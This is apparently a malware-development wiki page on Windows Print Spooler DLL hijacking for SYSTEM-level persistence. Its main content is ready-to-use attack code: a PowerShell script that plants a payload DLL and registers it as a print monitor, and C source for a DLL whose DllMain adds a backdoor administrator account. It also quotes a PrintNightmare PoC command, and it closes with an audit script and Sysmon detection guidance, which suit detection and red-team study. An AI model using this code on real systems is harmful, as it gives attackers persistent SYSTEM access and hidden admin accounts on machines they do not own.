Skip to content
λmaldev wiki/
pagesPrint Spooler DLL Hijacking
T1574.012WindowsC / C++PowerShellWinAPIDLL

Print Spooler DLL Hijacking

updated 2026-08-047 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

The Windows Print Spooler (spoolsv.exe) runs as SYSTEM and loads third-party DLLs for print providers and port monitors — two extension points that allow vendors to add custom printing backends. These DLLs are registered in the registry and loaded dynamically when the Spooler starts. An adversary with Administrator rights can register a malicious DLL as a print monitor, achieving persistent SYSTEM-level code execution that restarts with the Spooler on every boot.

This technique was most prominently seen in the wild through PrintNightmare (CVE-2021-1675) variants, which abused the AddPrinterDriver API to install malicious printer drivers that get loaded into the Spooler process. The registry-based persistence variant (without an exploit) requires admin rights but is simpler and more stable.

Note.

The PrintNightmare vulnerability (CVE-2021-1675 and CVE-2021-34527) specifically abused the print driver installation mechanism, not just the registry-based approach described here. Microsoft patched the specific CVEs but the print monitor registry persistence path remains a valid post-exploitation persistence mechanism for admin-level attackers. Microsoft recommends disabling the Print Spooler on domain controllers and servers where printing is not needed.

The call chain

  1. 1
    identify a print provider or monitor DLL path
    The Spooler reads provider DLL names from HKLM\SYSTEM\CurrentControlSet\Control\Print\Providers and Monitors registry keys.
  2. 2
    drop a malicious DLL at the registered path
    Write the payload DLL to the path the spooler will load — often a System32 subdirectory writable by admins.
  3. 3
    restart the Print Spooler service (or wait for reboot)
    spoolsv.exe reloads provider DLLs on service start; the malicious DLL executes in the SYSTEM context of the Spooler.
  4. 4
    DllMain runs payload in SYSTEM context
    The Spooler loads the DLL as SYSTEM; no privilege escalation required beyond the ability to write the DLL and modify the registry.

Reference implementation

Register a malicious print monitor via registry

print_monitor_persist.ps1PowerShell
# Requires Administrator
# The Spooler loads all DLLs listed under HKLM...PrintMonitors at service start

$monitor_key = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\EvilMonitor"
$dll_name    = "evil_monitor.dll"

# The DLL must be in System32 (the Spooler uses System32 as its working directory)
Copy-Item C:\Temp\payload.dll "C:\Windows\System32\$dll_name"

# Register the monitor — Spooler loads this DLL at next start
New-Item -Path $monitor_key -Force | Out-Null
New-ItemProperty -Path $monitor_key -Name "Driver" -Value $dll_name -PropertyType String | Out-Null

Write-Host "[+] Print monitor registered: $dll_name"
Write-Host "[*] Restart the Spooler to trigger:"
Write-Host "    Restart-Service Spooler"
evil_monitor.cC
#include <windows.h>

// The Spooler loads this DLL and calls InitializePrintMonitor2
// (or InitializePrintMonitor for the older API).
// DllMain runs first — we execute our payload here.

static DWORD WINAPI payload_thread(LPVOID) {
  // Running as SYSTEM inside spoolsv.exe
  // Example: add a backdoor local admin account
  system("net user backdoor P@ssw0rd123! /add");
  system("net localgroup administrators backdoor /add");
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD reason, LPVOID reserved) {
  if (reason == DLL_PROCESS_ATTACH) {
      DisableThreadLibraryCalls(hDll);
      // Launch payload in a new thread to avoid blocking the Spooler
      HANDLE t = CreateThread(NULL, 0, payload_thread, NULL, 0, NULL);
      if (t) CloseHandle(t);
  }
  return TRUE;
}

// The Spooler expects a valid monitor export — provide a stub
// so the DLL loads successfully even if it queries the API.
__declspec(dllexport) LPMONITOR2 WINAPI InitializePrintMonitor2(
  PMONITORINIT pMonitorInit, PHANDLE phMonitor) {
  *phMonitor = NULL;
  return NULL;  // returning NULL fails gracefully; Spooler continues loading
}

Enumerate registered print monitors (auditing)

audit_monitors.ps1PowerShell
# List all registered print monitors and their DLL paths
# Look for unsigned DLLs or DLLs with unexpected paths

$monitors_key = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors"
$providers_key = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Providers"

Write-Host "=== Print Monitors ==="
Get-ChildItem $monitors_key | ForEach-Object {
  $dll = (Get-ItemProperty $_.PSPath).Driver
  if ($dll) {
      $full_path = Join-Path "C:\Windows\System32" $dll
      $sig = Get-AuthenticodeSignature $full_path -ErrorAction SilentlyContinue
      [PSCustomObject]@{
          Monitor  = $_.PSChildName
          DLL      = $dll
          Signed   = $sig.Status
          Publisher = $sig.SignerCertificate.Subject
      }
  }
} | Format-Table -AutoSize

Write-Host "=== Print Providers ==="
Get-ChildItem $providers_key | ForEach-Object {
  $dll = (Get-ItemProperty $_.PSPath).Name
  Write-Host "$($_.PSChildName): $dll"
}

Alternative: AddPrinterDriver API (PrintNightmare technique)

add_driver.ps1PowerShell
# Use the legitimate AddPrinterDriver Win32 API to install a malicious print driver.
# This was the PrintNightmare (CVE-2021-1675) attack path.
# Patched by Microsoft — requires Point and Print restrictions to be disabled.
# Shown for historical/educational reference only.

# The driver DLL is loaded into spoolsv.exe as SYSTEM.
# Invoke-Nightmare PoC (Caleb Stewart / John Hammond):
# Import-Module .CVE-2021-1675.ps1
# Invoke-Nightmare -NewUser "user1" -NewPassword "Passw0rd!" -DriverName "PrintMe"

# Modern patched systems require:
# - SeLoadDriverPrivilege
# - Print driver to be signed by a trusted CA
# - NoAddPrinterDrivers policy = 0 (disabled)

Write-Host "Note: CVE-2021-1675 / CVE-2021-34527 patched in July 2021 (KB5004945 and later)"
Write-Host "Registry persistence via print monitors remains effective post-patch with admin rights"

Detection

SYSMON EID 7
spoolsv.exe loading an unsigned DLL or a DLL from a non-standard path.
SYSMON EID 12/13
Registry modification under HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors or Providers by a non-admin or unexpected process.
SYSMON EID 11
New DLL file created in System32 subdirectory by a process that is not the Windows Installer or a known updater.
WINDOWS EID 7036
Spooler service restart events correlated with new DLL load events (EID 7045 or Sysmon EID 7).

The most reliable detection is monitoring for unsigned DLLs loaded by spoolsv.exe (Sysmon EID 7 with Signed: false and Image: spoolsv.exe). Legitimate print monitor DLLs from Microsoft or major printer vendors are signed. Any unsigned DLL loaded into the Spooler process is a high-confidence indicator of abuse.

Complementary control: disable the Print Spooler service on all systems where printing is not required (domain controllers, most servers). This eliminates the entire attack surface.

Was this page useful?edit this page ↗